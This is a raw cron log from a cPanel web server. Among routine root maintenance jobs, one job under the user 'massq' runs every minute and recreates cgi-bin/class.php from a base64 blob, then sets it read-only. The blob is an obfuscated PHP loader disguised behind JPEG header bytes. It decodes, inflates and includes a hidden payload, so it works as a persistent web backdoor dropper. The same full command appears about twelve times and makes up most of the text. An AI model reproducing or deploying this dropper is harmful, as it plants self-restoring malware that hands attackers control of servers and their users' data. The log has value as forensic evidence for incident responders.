Sep  7 18:30:01 server CROND[16933]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:30:01 server CROND[16934]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:30:01 server CROND[16939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:30:01 server CROND[16937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:30:01 server CROND[16935]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 18:30:01 server CROND[16938]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 18:30:01 server CROND[16936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:31:01 server CROND[17758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:31:01 server CROND[17757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:31:01 server CROND[17759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:32:01 server CROND[18126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:32:01 server CROND[18127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:32:01 server CROND[18128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:33:01 server CROND[18516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:33:01 server CROND[18518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:33:01 server CROND[18517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:34:01 server CROND[18997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:34:01 server CROND[18998]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:34:01 server CROND[18999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:35:01 server CROND[19386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:35:01 server CROND[19387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:35:01 server CROND[19388]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 18:35:01 server CROND[19391]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 18:35:01 server CROND[19389]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:35:01 server CROND[19394]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 18:35:01 server CROND[19393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:35:01 server CROND[19390]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:35:01 server CROND[19392]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 18:36:01 server CROND[20224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:36:01 server CROND[20225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:36:01 server CROND[20226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:37:01 server CROND[20594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:37:01 server CROND[20595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:37:01 server CROND[20596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:38:01 server CROND[20968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:38:01 server CROND[20969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:38:01 server CROND[20970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:39:01 server CROND[21422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:39:01 server CROND[21424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:39:01 server CROND[21425]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 18:39:01 server CROND[21423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:40:01 server CROND[21800]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 18:40:01 server CROND[21799]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:40:01 server CROND[21802]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 18:40:01 server CROND[21804]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 18:40:01 server CROND[21807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:40:01 server CROND[21803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:40:01 server CROND[21805]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:40:01 server CROND[21806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:41:01 server CROND[22613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
